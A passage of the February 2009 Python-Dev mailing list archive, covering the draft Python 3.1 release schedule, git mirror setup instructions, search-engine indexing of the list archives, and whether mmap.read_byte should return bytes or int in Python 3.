References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com><ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com><1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
	<loom.20090227T211114-386@post.gmane.org>
Message-ID: <24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1>


>> > You might also want to collect a list of serious changes that you want
>> > in this release; I know I/O in C is on the list (and without it I
>> > wouldn't consider it worth releasing) but there may be others. The
>> > developers of such features ought to be on board with delivering their
>> > code before the first beta.
>> 
>> I've started a list on the release PEP [1].
>> 
>> [1] http://www.python.org/dev/peps/pep-0375/
> 
> I think you could add "update json package to reflect the current simplejson
> version" (see http://bugs.python.org/issue4136).

Also, I'm expecting that ordered dictionaries will be ready:
   http://www.python.org/dev/peps/pep-0372/



Raymond



From benjamin at python.org  Fri Feb 27 22:54:06 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Fri, 27 Feb 2009 15:54:06 -0600
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>
	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
	<1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
	<loom.20090227T211114-386@post.gmane.org>
	<24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1>
Message-ID: <1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com>

2009/2/27 Raymond Hettinger <python at rcn.com>:
>
>>> > You might also want to collect a list of serious changes that you want
>>> > in this release; I know I/O in C is on the list (and without it I
>>> > wouldn't consider it worth releasing) but there may be others. The
>>> > developers of such features ought to be on board with delivering their
>>> > code before the first beta.
>>>
>>> I've started a list on the release PEP [1].
>>>
>>> [1] http://www.python.org/dev/peps/pep-0375/
>>
>> I think you could add "update json package to reflect the current
>> simplejson
>> version" (see http://bugs.python.org/issue4136).
>
> Also, I'm expecting that ordered dictionaries will be ready:
> ?http://www.python.org/dev/peps/pep-0372/

Thanks. I've added these items to the PEP.



-- 
Regards,
Benjamin

From barry at python.org  Fri Feb 27 23:19:33 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 27 Feb 2009 17:19:33 -0500
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <bbaeab100902271231t31f4dcbbn5621a221529b0445@mail.gmail.com>
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
	<20090227154817.GB24580@arctrix.com>
	<2778C919-3351-4B89-B450-3D59F87A3485@python.org>
	<bbaeab100902271231t31f4dcbbn5621a221529b0445@mail.gmail.com>
Message-ID: <61339809-37B9-42FD-AFA5-4FBB82BB422C@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 27, 2009, at 3:31 PM, Brett Cannon wrote:

> Until we are willing to say these mirrors are not experimental all  
> the instructions should probably go in the wiki.

Where's a good place for this?  I'm thinking three bullets under "Core  
Development" on this page: http://wiki.python.org/moin/

I certainly don't want to spend my weekend moving all the dev  
resources into the wiki, but I'd be willing to set up these bullets,  
move the bazaar pages to the wiki, and set up the redirect.  Then the  
hg and git folks can fill out there own links.

Thoughts?

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSahm9XEjvBPtnXfVAQKYTwP/QzLWj5E8zrqwh2Wd50imAdbtricUEOOX
32r2vSMZ0P4LwFuIKHSFNT3FLsn1p254Os0tD/05RAVEvVxuOkd9w7Hn+Vn75yG2
trkK356ESUfJFtGttFUhXD6z2fpKP23u+dZV/OtDQWqpZSg59wkDLTtu6XfGToYN
7gVJ5+2xkZ4=
=92Xd
-----END PGP SIGNATURE-----

From dripton at ripton.net  Fri Feb 27 22:51:19 2009
From: dripton at ripton.net (David Ripton)
Date: Fri, 27 Feb 2009 13:51:19 -0800
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <20090227154817.GB24580@arctrix.com>
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
	<20090227154817.GB24580@arctrix.com>
Message-ID: <20090227215119.GA20325@vidar.dreamhost.com>

On 2009.02.27 09:48:17 -0600, Neil Schemenauer wrote:
> On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote:
> > when I get to the step git svn fetch  I get the following error:
> > zsh-% git svn fetch
> > Permission denied (publickey).
> > Network connection closed unexpectedly: Connection closed unexpectedly at
> > /opt/local/bin/git-svn line 1385
> > 
> > 
> > Is there a prerequisite that I get some kind of ssh key pair setup with the
> > svn repository?  I thought that was only for committers.
> 
> Sorry, the instructions don't work for read-only access.  I've
> updated them.  You need to use:
> 
>     git svn init http://svn.python.org/projects/python/trunk
> 
> for read-only access to SVN.

I don't see any point to using Neil's complicated dual-remote git +
git-svn setup if you don't have commit access.  For that matter, as long
as Neil's git mirrors work well, I don't see any point to using git-svn
at all if you don't have commit access.

The whole idea of Neil's scheme is that you can use (fast) git to pull
changes from the git mirrors, and (slow but compatible) git-svn to push
changes to svn.  Neat and clever, but complex and possibly brittle.  If
you don't have commit access then you can't push changes to svn anyway,
so you don't need the git-svn half of the setup, so you should just
git-clone Neil's repo and be happy with the much simpler setup.

-- 
David Ripton    dripton at ripton.net

From brett at python.org  Fri Feb 27 23:24:44 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 27 Feb 2009 14:24:44 -0800
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <61339809-37B9-42FD-AFA5-4FBB82BB422C@python.org>
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
	<20090227154817.GB24580@arctrix.com>
	<2778C919-3351-4B89-B450-3D59F87A3485@python.org>
	<bbaeab100902271231t31f4dcbbn5621a221529b0445@mail.gmail.com>
	<61339809-37B9-42FD-AFA5-4FBB82BB422C@python.org>
Message-ID: <bbaeab100902271424p7cb74a2dr69df34d4c12b19c9@mail.gmail.com>

On Fri, Feb 27, 2009 at 14:19, Barry Warsaw <barry at python.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Feb 27, 2009, at 3:31 PM, Brett Cannon wrote:
>
>  Until we are willing to say these mirrors are not experimental all the
>> instructions should probably go in the wiki.
>>
>
> Where's a good place for this?  I'm thinking three bullets under "Core
> Development" on this page: http://wiki.python.org/moin/
>
> I certainly don't want to spend my weekend moving all the dev resources
> into the wiki,


What do you mean "all dev resources"? I am just talking about your
experimental bzr page which is probably in reST which makes it a
copy-n-paste job into the wiki.


> but I'd be willing to set up these bullets, move the bazaar pages to the
> wiki, and set up the redirect.  Then the hg and git folks can fill out there
> own links.
>

Fine by me.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090227/b72d1ffa/attachment.htm>

From ncoghlan at gmail.com  Sat Feb 28 00:32:42 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 28 Feb 2009 09:32:42 +1000
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>	<1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>	<loom.20090227T211114-386@post.gmane.org>	<24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1>
	<1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com>
Message-ID: <49A8781A.60309@gmail.com>

Benjamin Peterson wrote:
> 2009/2/27 Raymond Hettinger <python at rcn.com>:
>>>>> You might also want to collect a list of serious changes that you want
>>>>> in this release; I know I/O in C is on the list (and without it I
>>>>> wouldn't consider it worth releasing) but there may be others. The
>>>>> developers of such features ought to be on board with delivering their
>>>>> code before the first beta.
>>>> I've started a list on the release PEP [1].
>>>>
>>>> [1] http://www.python.org/dev/peps/pep-0375/
>>> I think you could add "update json package to reflect the current
>>> simplejson
>>> version" (see http://bugs.python.org/issue4136).
>> Also, I'm expecting that ordered dictionaries will be ready:
>>  http://www.python.org/dev/peps/pep-0372/
> 
> Thanks. I've added these items to the PEP.

I should have a PEP (and implementation) ready for alpha 2 to address
the current discrepancy between contextlib.nested and actual nested with
statements:
http://bugs.python.org/issue5251

If you do add a reference to that bug report to the release PEP, mark
fixing it as a maybe though - with the associated PEP not even written
yet, I obviously still have some work to do to get the semantic change
approved by Guido and the rest of python-dev.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From benjamin at python.org  Sat Feb 28 00:41:35 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Fri, 27 Feb 2009 17:41:35 -0600
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <49A8781A.60309@gmail.com>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>
	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
	<1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
	<loom.20090227T211114-386@post.gmane.org>
	<24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1>
	<1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com>
	<49A8781A.60309@gmail.com>
Message-ID: <1afaf6160902271541y6e6d5937ieab4c3b0f111a5cc@mail.gmail.com>

2009/2/27 Nick Coghlan <ncoghlan at gmail.com> schrieb:
>
> I should have a PEP (and implementation) ready for alpha 2 to address
> the current discrepancy between contextlib.nested and actual nested with
> statements:
> http://bugs.python.org/issue5251
>
> If you do add a reference to that bug report to the release PEP, mark
> fixing it as a maybe though - with the associated PEP not even written
> yet, I obviously still have some work to do to get the semantic change
> approved by Guido and the rest of python-dev.

Ok. I've added it.



-- 
Regards,
Benjamin

From srittau at jroger.in-berlin.de  Sat Feb 28 00:57:20 2009
From: srittau at jroger.in-berlin.de (Sebastian Rittau)
Date: Sat, 28 Feb 2009 00:57:20 +0100
Subject: [Python-Dev] Duck-typing self
In-Reply-To: <20090218223209.GA5978@jroger.in-berlin.de>
References: <20090218223209.GA5978@jroger.in-berlin.de>
Message-ID: <20090227235720.GA8470@jroger.in-berlin.de>

On Wed, Feb 18, 2009 at 11:32:09PM +0100, Sebastian Rittau wrote:

> I am curious why the following will not work in Python:
> 
>   class foo(object):
>       def bar(self):
>           print self.attr
>           
>   class duck(object):
>       attr = 3.14
>   
>   foo.bar(duck())

Thanks to everybody who has responded on-list or in private. Actually
Guido blogged about this design decision (among other things) in his
latest post to the "The History of Python" blog:
<http://tinyurl.com/c6qya5>.

 - Sebastian

From ncoghlan at gmail.com  Sat Feb 28 01:03:43 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 28 Feb 2009 10:03:43 +1000
Subject: [Python-Dev] Googlebot and the mail.python.org python-dev archive
Message-ID: <49A87F5F.9000901@gmail.com>

Is anyone else having trouble getting the python.org mail archive to
turn up in Google searches for python-dev messages?

I prefer to use that archive rather than one of the multitude of 3rd
party archives when linking posts from PEPs and tracker issues, but for
the last few weeks I've had to go find the messages directly on the
archive pages rather than being able to grab them from a search.

Example search (note that the top python.org hits are from 2006, but a
3rd party archive has the discussion I was after at the top of the list):
http://www.google.com/search?hl=en&q=inurl%3Apython-dev+contextlib.nested&btnG=Search

Searching the python.org archive specifically shows that the relevant
recent messages aren't in the search index at all:
http://www.google.com/search?q=inurl:pipermail+inurl:python-dev+contextlib.nested&hl=en&filter=0

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From guido at python.org  Sat Feb 28 01:12:01 2009
From: guido at python.org (Guido van Rossum)
Date: Fri, 27 Feb 2009 16:12:01 -0800
Subject: [Python-Dev] Googlebot and the mail.python.org python-dev
	archive
In-Reply-To: <49A87F5F.9000901@gmail.com>
References: <49A87F5F.9000901@gmail.com>
Message-ID: <ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>

I think the better syntax would be to add site:mail.python.org to the
query, but you're right, that doesn't seem to find recent messages.
Maybe the absence of a robots.txt file on mail.python.org could be a
partial explanation?

(Disclaimer: I may work for Google, and Google's first crawler may
have been written in Python, but I haven't the foggiest idea about how
our crawler works these days.)

--Guido

On Fri, Feb 27, 2009 at 4:03 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Is anyone else having trouble getting the python.org mail archive to
> turn up in Google searches for python-dev messages?
>
> I prefer to use that archive rather than one of the multitude of 3rd
> party archives when linking posts from PEPs and tracker issues, but for
> the last few weeks I've had to go find the messages directly on the
> archive pages rather than being able to grab them from a search.
>
> Example search (note that the top python.org hits are from 2006, but a
> 3rd party archive has the discussion I was after at the top of the list):
> http://www.google.com/search?hl=en&q=inurl%3Apython-dev+contextlib.nested&btnG=Search
>
> Searching the python.org archive specifically shows that the relevant
> recent messages aren't in the search index at all:
> http://www.google.com/search?q=inurl:pipermail+inurl:python-dev+contextlib.nested&hl=en&filter=0
>
> Cheers,
> Nick.
>
> --
> Nick Coghlan ? | ? ncoghlan at gmail.com ? | ? Brisbane, Australia
> ---------------------------------------------------------------
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From zvezdan at zope.com  Sat Feb 28 06:43:40 2009
From: zvezdan at zope.com (Zvezdan Petkovic)
Date: Sat, 28 Feb 2009 00:43:40 -0500
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <bbaeab100902271231t31f4dcbbn5621a221529b0445@mail.gmail.com>
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
	<20090227154817.GB24580@arctrix.com>
	<2778C919-3351-4B89-B450-3D59F87A3485@python.org>
	<bbaeab100902271231t31f4dcbbn5621a221529b0445@mail.gmail.com>
Message-ID: <3C2AB15E-2F98-4ABD-AAA1-E7271BF305ED@zope.com>

On Feb 27, 2009, at 3:31 PM, Brett Cannon wrote:
> We should probably put these, and the Mercurial information on the  
> python.org website, perhaps as siblings of the Bazaar information.   
> Or maybe it should all move to the wiki.
>
> Until we are willing to say these mirrors are not experimental all  
> the instructions should probably go in the wiki.

That's fine, but I think the original poster has a point in using the  
word siblings.  Right now, only Bazaar is prominently displayed on the http://www.python.org/dev/

It's both in the menu on the left side and in the Source Code links in  
the main content.

A newcomer could think that Bazaar is the only DVCS python developers  
are experimenting with.

Supplying links for the Mercurial and Git experimental repos (or wiki  
pages about them) would put them at least on equal footing with Bazaar  
in terms of exposure.

In terms of technical merit they are obviously on a more than equal  
footing.  :-)

	Zvezdan


From nas at arctrix.com  Sat Feb 28 08:54:23 2009
From: nas at arctrix.com (Neil Schemenauer)
Date: Sat, 28 Feb 2009 07:54:23 +0000 (UTC)
Subject: [Python-Dev] Instructions on using git mirror
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
	<20090227154817.GB24580@arctrix.com>
	<20090227215119.GA20325@vidar.dreamhost.com>
Message-ID: <goaqjf$vco$1@ger.gmane.org>

David Ripton <dripton at ripton.net> wrote:
> I don't see any point to using Neil's complicated dual-remote git +
> git-svn setup if you don't have commit access.

Good point.  I will write another, hopefully simpler, set of
instructions for read-only access.

  Neil


From g.brandl at gmx.net  Sat Feb 28 11:25:18 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Sat, 28 Feb 2009 11:25:18 +0100
Subject: [Python-Dev] Googlebot and the mail.python.org python-dev
	archive
In-Reply-To: <ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>
References: <49A87F5F.9000901@gmail.com>
	<ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>
Message-ID: <gob3f6$j23$1@ger.gmane.org>

Guido van Rossum schrieb:
> I think the better syntax would be to add site:mail.python.org to the
> query, but you're right, that doesn't seem to find recent messages.
> Maybe the absence of a robots.txt file on mail.python.org could be a
> partial explanation?

Doesn't the absence of a robots.txt mean "you may index everything"?

Georg

-- 
Thus spake the Lord: Thou shalt indent with four spaces. No more, no less.
Four shall be the number of spaces thou shalt indent, and the number of thy
indenting shall be four. Eight shalt thou not indent, nor either indent thou
two, excepting that thou then proceed to four. Tabs are right out.


From solipsis at pitrou.net  Sat Feb 28 11:37:09 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 28 Feb 2009 10:37:09 +0000 (UTC)
Subject: [Python-Dev]
	=?utf-8?q?Googlebot_and_the_mail=2Epython=2Eorg_pyth?=
	=?utf-8?q?on-dev=09archive?=
References: <49A87F5F.9000901@gmail.com>
	<ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>
	<gob3f6$j23$1@ger.gmane.org>
Message-ID: <loom.20090228T103444-799@post.gmane.org>

Georg Brandl <g.brandl <at> gmx.net> writes:
> 
> Guido van Rossum schrieb:
> > I think the better syntax would be to add site:mail.python.org to the
> > query, but you're right, that doesn't seem to find recent messages.
> > Maybe the absence of a robots.txt file on mail.python.org could be a
> > partial explanation?
> 
> Doesn't the absence of a robots.txt mean "you may index everything"?

It does.
However, pages such as:
    http://mail.python.org/pipermail/python-dev/
(and, it seems, all other pipermail-generated archive pages)
have the following HTML tag in them:
    <META NAME="robots" CONTENT="noindex,follow">
which explicitly instructs Web spiders *not* to index contents nor follow links.

Regards

Antoine.



From ocean-city at m2.ccsnet.ne.jp  Sat Feb 28 12:19:00 2009
From: ocean-city at m2.ccsnet.ne.jp (Hirokazu Yamamoto)
Date: Sat, 28 Feb 2009 20:19:00 +0900
Subject: [Python-Dev] What type of object mmap.read_byte should return on
	py3k?
Message-ID: <49A91DA4.5080903@m2.ccsnet.ne.jp>

Hello. I noticed mmap.read_byte returns 1-length unicode on py3k. I felt 
this was strange, so I created issue on bug tracker 
(http://bugs.python.org/issue5391) and Martin proposed this is suitable 
for discussion on python-dev. I'll quote messages on bug tracker here.

I wrote:
> On Python3000, mmap.read_byte returns str not bytes, and mmap.write_byte
> accepts str. Is this intended behavior?
> 
>>>> import mmap
>>>> m = mmap.mmap(-1, 10)
>>>> type(m.read_byte())
> <class 'str'>
>>>> m.write_byte("a")
>>>> m.write_byte(b"a")
> 
> Maybe another possibility. read_byte() returns int which represents
> byte, write_byte accepts int which represents byte. (Like b"abc"[0]
> returns int not 1-length bytes)

Martin wrote:
> Indeed, I think it should use the "b" code, instead of the "c" code.
> Please discuss this on python-dev, though.
> 
> It might not be ok to backport this to 3.0, since it may break existing
> code.

> Furthermore, all other uses of the "c" code might need to be reconsidered.



From ncoghlan at gmail.com  Sat Feb 28 12:53:10 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 28 Feb 2009 21:53:10 +1000
Subject: [Python-Dev] Googlebot and the mail.python.org python-dev
	archive
In-Reply-To: <loom.20090228T103444-799@post.gmane.org>
References: <49A87F5F.9000901@gmail.com>	<ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>	<gob3f6$j23$1@ger.gmane.org>
	<loom.20090228T103444-799@post.gmane.org>
Message-ID: <49A925A6.3050106@gmail.com>

Antoine Pitrou wrote:
> Georg Brandl <g.brandl <at> gmx.net> writes:
>> Guido van Rossum schrieb:
>>> I think the better syntax would be to add site:mail.python.org to the
>>> query, but you're right, that doesn't seem to find recent messages.
>>> Maybe the absence of a robots.txt file on mail.python.org could be a
>>> partial explanation?
>> Doesn't the absence of a robots.txt mean "you may index everything"?
> 
> It does.
> However, pages such as:
>     http://mail.python.org/pipermail/python-dev/
> (and, it seems, all other pipermail-generated archive pages)
> have the following HTML tag in them:
>     <META NAME="robots" CONTENT="noindex,follow">
> which explicitly instructs Web spiders *not* to index contents nor follow links.

That's not quite true - that meta tag says not to index the current
page, but *do* follow the links to other pages. The archive page and the
monthly summary pages say the same two things.

Once you get down to the individual post level, then it switches around
- the meta tags on those pages say to index the page and NOT to follow
links.

Those settings actually makes a certain amount of sense - it should
encourage the actual messages to turn up in search results rather than
the index pages pointing to those messages.

The top-level list of mailing lists and the description pages for each
list don't have the meta tag at all, so they should all be both indexed
and the links followed.

However, I checked on Wayback and it hasn't archived anything from
mail.python.org since late 2007, suggesting there may be something about
the current setup that well behaved web crawlers don't like.

Is pydotorg-www still the place for website questions?* If so, I should
probably take this over there...

Cheers,
Nick.

* I ask because that list doesn't appear to have seen any traffic since
May last year...

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From ncoghlan at gmail.com  Sat Feb 28 13:01:09 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 28 Feb 2009 22:01:09 +1000
Subject: [Python-Dev] What type of object mmap.read_byte should return
 on	py3k?
In-Reply-To: <49A91DA4.5080903@m2.ccsnet.ne.jp>
References: <49A91DA4.5080903@m2.ccsnet.ne.jp>
Message-ID: <49A92785.6010508@gmail.com>

Hirokazu Yamamoto wrote:
> Hello. I noticed mmap.read_byte returns 1-length unicode on py3k. I felt
> this was strange, so I created issue on bug tracker
> (http://bugs.python.org/issue5391) and Martin proposed this is suitable
> for discussion on python-dev. I'll quote messages on bug tracker here.
> 
> I wrote:
>> On Python3000, mmap.read_byte returns str not bytes, and mmap.write_byte
>> accepts str. Is this intended behavior?
>>
>>>>> import mmap
>>>>> m = mmap.mmap(-1, 10)
>>>>> type(m.read_byte())
>> <class 'str'>
>>>>> m.write_byte("a")
>>>>> m.write_byte(b"a")
>>
>> Maybe another possibility. read_byte() returns int which represents
>> byte, write_byte accepts int which represents byte. (Like b"abc"[0]
>> returns int not 1-length bytes)
> 
> Martin wrote:
>> Indeed, I think it should use the "b" code, instead of the "c" code.
>> Please discuss this on python-dev, though.
>>
>> It might not be ok to backport this to 3.0, since it may break existing
>> code.
> 
>> Furthermore, all other uses of the "c" code might need to be
>> reconsidered.

It certainly seems like mmap should be playing in an all-bytes world
(where only already encoded strings are allowed). On the specific
question of whether it would be better for read_byte()/write_byte to use
1-length bytes objects or integers, I have no strong opinion (the former
is closer to the 2.x class API, the later more consistent with the
operation of the 3.x bytes class).

However, as Martin says, it wouldn't be reasonable to backport the fixes
in this to 3.0 - the associated API changes would almost certainly break
otherwise working code.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From solipsis at pitrou.net  Sat Feb 28 13:19:55 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 28 Feb 2009 12:19:55 +0000 (UTC)
Subject: [Python-Dev]
	=?utf-8?q?Googlebot_and_the_mail=2Epython=2Eorg_pyth?=
	=?utf-8?q?on-dev=09archive?=
References: <49A87F5F.9000901@gmail.com>	<ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>	<gob3f6$j23$1@ger.gmane.org>
	<loom.20090228T103444-799@post.gmane.org>
	<49A925A6.3050106@gmail.com>
Message-ID: <loom.20090228T121848-494@post.gmane.org>

Nick Coghlan <ncoghlan <at> gmail.com> writes:
> 
> >     <META NAME="robots" CONTENT="noindex,follow">
> > which explicitly instructs Web spiders *not* to index contents nor follow 
links.
> 
> That's not quite true - that meta tag says not to index the current
> page, but *do* follow the links to other pages. The archive page and the
> monthly summary pages say the same two things.

For some mysterious reason my brain had read "nofollow" in the above.
Well, nevermind.

cheers

Antoine.



From amk at amk.ca  Sat Feb 28 15:05:02 2009
From: amk at amk.ca (A.M. Kuchling)
Date: Sat, 28 Feb 2009 09:05:02 -0500
Subject: [Python-Dev] Googlebot and the mail.python.org
	python-dev?archive
In-Reply-To: <loom.20090228T103444-799@post.gmane.org>
References: <49A87F5F.9000901@gmail.com>
	<ca471dc20902271612w389105a1o20e675ccd64ad6a9@mail.gmail.com>
	<gob3f6$j23$1@ger.gmane.org>
	<loom.20090228T103444-799@post.gmane.org>
Message-ID: <20090228140502.GB12527@amk.local>

On Sat, Feb 28, 2009 at 10:37:09AM +0000, Antoine Pitrou wrote:
> have the following HTML tag in them:
>     <META NAME="robots" CONTENT="noindex,follow">
> which explicitly instructs Web spiders *not* to index contents nor follow links.

I believe this makes spiders not index this page, but does follow
links.  Individual messages have "index,nofollow".

--amk

From ocean-city at m2.ccsnet.ne.jp  Sat Feb 28 15:06:38 2009
From: ocean-city at m2.ccsnet.ne.jp (Hirokazu Yamamoto)
Date: Sat, 28 Feb 2009 23:06:38 +0900
Subject: [Python-Dev] What type of object mmap.read_byte should return
 on	py3k?
In-Reply-To: <49A92785.6010508@gmail.com>
References: <49A91DA4.5080903@m2.ccsnet.ne.jp> <49A92785.6010508@gmail.com>
Message-ID: <49A944EE.309@m2.ccsnet.ne.jp>

> It certainly seems like mmap should be playing in an all-bytes world
> (where only already encoded strings are allowed).

Agreed.

> On the specific
> question of whether it would be better for read_byte()/write_byte to use
> 1-length bytes objects or integers, I have no strong opinion (the former
> is closer to the 2.x class API, the later more consistent with the
> operation of the 3.x bytes class).

Personally, I was surprised when I saw b"0123"[1] != b"1". But I don't
have strong opinion neither.

> However, as Martin says, it wouldn't be reasonable to backport the fixes
> in this to 3.0 - the associated API changes would almost certainly break
> otherwise working code.

Agreed.

I greped py3k source tree with "c", I found another Py_BuildValue("c" in 
curse module. But this function returns unicode in else clause, so 
probably this is correct usage.

Modules\mmapmodule.c(207): 		return Py_BuildValue("c", value);
Modules\_cursesmodule.c(893):     return Py_BuildValue("c", rtn);
Modules\_dbmmodule.c(380): 	else if ( strcmp(flags, "c") == 0 )
Modules\_ctypes\cfield.c(112): 			if (idict->getfunc == 
getentry("c")->getfunc) {
Modules\_ctypes\stgdict.c(459): 				if (dict->getfunc != 
getentry("c")->getfunc
Modules\_ctypes\_ctypes.c(1372): 	if (itemdict->getfunc == 
getentry("c")->getfunc) {
Modules\_ctypes\_ctypes.c(1536): 		if (dict && (dict->setfunc == 
getentry("c")->setfunc)) {
Modules\_ctypes\_ctypes.c(1545): 		if (dict && (dict->setfunc == 
getentry("c")->setfunc)) {
Modules\_ctypes\_ctypes.c(4197): 		if (itemdict->getfunc == 
getentry("c")->getfunc) {
Modules\_ctypes\_ctypes.c(4890): 		if (itemdict->getfunc == 
getentry("c")->getfunc) {
PC\os2emx\getpathp.c(128): 		strcat(filename, Py_OptimizeFlag ? "o" : "c");
Python\import.c(1756): 	strcpy(buf+i, Py_OptimizeFlag ? "o" : "c");



From victor.stinner at haypocalc.com  Sat Feb 28 15:21:48 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Sat, 28 Feb 2009 15:21:48 +0100
Subject: [Python-Dev] What type of object mmap.read_byte should return
	on py3k?
In-Reply-To: <49A91DA4.5080903@m2.ccsnet.ne.jp>
References: <49A91DA4.5080903@m2.ccsnet.ne.jp>
Message-ID: <200902281521.48100.victor.stinner@haypocalc.com>

About m.read_byte(), we have two choices:
 (a) Py_BuildValue("b", value) => 0
 (b) Py_BuildValue("y#", &value, 1) => b"\x00"

About m.write_byte(x), we have also two choices:
 (a) PyArg_ParseTuple(args, "b:write_byte", &value): write_byte(0)
 (b) PyArg_ParseTuple(args, "y#:write_byte", &value, &length) and
     check for length=1: write_byte(b"\x00")

(b) choices are close to Python 2.x API. But we can already use 
m.read(1)->b"\x00" and m.write(b"\x00") to use byte string of 1 byte. So it 
would be better to break the API and use integers, (a) choices which require 
also documentation changes:

mmap.read_byte()
   Returns a string of length 1 containing the character at the current file
   position, and advances the file position by 1.

mmap.write_byte(byte)
   Write the single-character string byte into memory at the current position
   of the file pointer; the file position is advanced by 1. If the mmap was
   created with ACCESS_READ, then writing to it will throw a TypeError
   exception.

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From victor.stinner at haypocalc.com  Sat Feb 28 15:47:18 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Sat, 28 Feb 2009 15:47:18 +0100
Subject: [Python-Dev]
	=?iso-8859-1?q?What_type_of_object_mmap=2Eread=5Fbyt?=
	=?iso-8859-1?q?e_should_return_on=09py3k=3F?=
In-Reply-To: <49A944EE.309@m2.ccsnet.ne.jp>
References: <49A91DA4.5080903@m2.ccsnet.ne.jp> <49A92785.6010508@gmail.com>
	<49A944EE.309@m2.ccsnet.ne.jp>
Message-ID: <200902281547.18484.victor.stinner@haypocalc.com>

Le Saturday 28 February 2009 15:06:38 Hirokazu Yamamoto, vous avez ?crit?:
> I greped py3k source tree with "c", I found another Py_BuildValue("c" in
> curse module. But this function returns unicode in else clause, so
> probably this is correct usage.

I used different regex on to catch "...c..." with Py_BuildValue and 
PyArg_Parse... because a function may have other arguments or specify the 
function name with "...:name":
   http://bugs.python.org/issue5391

It looks like msvcrt.putch(char) and msvcrt.ungetch(char) use the wrong types.

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From ocean-city at m2.ccsnet.ne.jp  Sat Feb 28 16:23:28 2009
From: ocean-city at m2.ccsnet.ne.jp (Hirokazu Yamamoto)
Date: Sun, 01 Mar 2009 00:23:28 +0900
Subject: [Python-Dev] What type of object mmap.read_byte should return
 on py3k?
In-Reply-To: <200902281521.48100.victor.stinner@haypocalc.com>
References: <49A91DA4.5080903@m2.ccsnet.ne.jp>
	<200902281521.48100.victor.stinner@haypocalc.com>
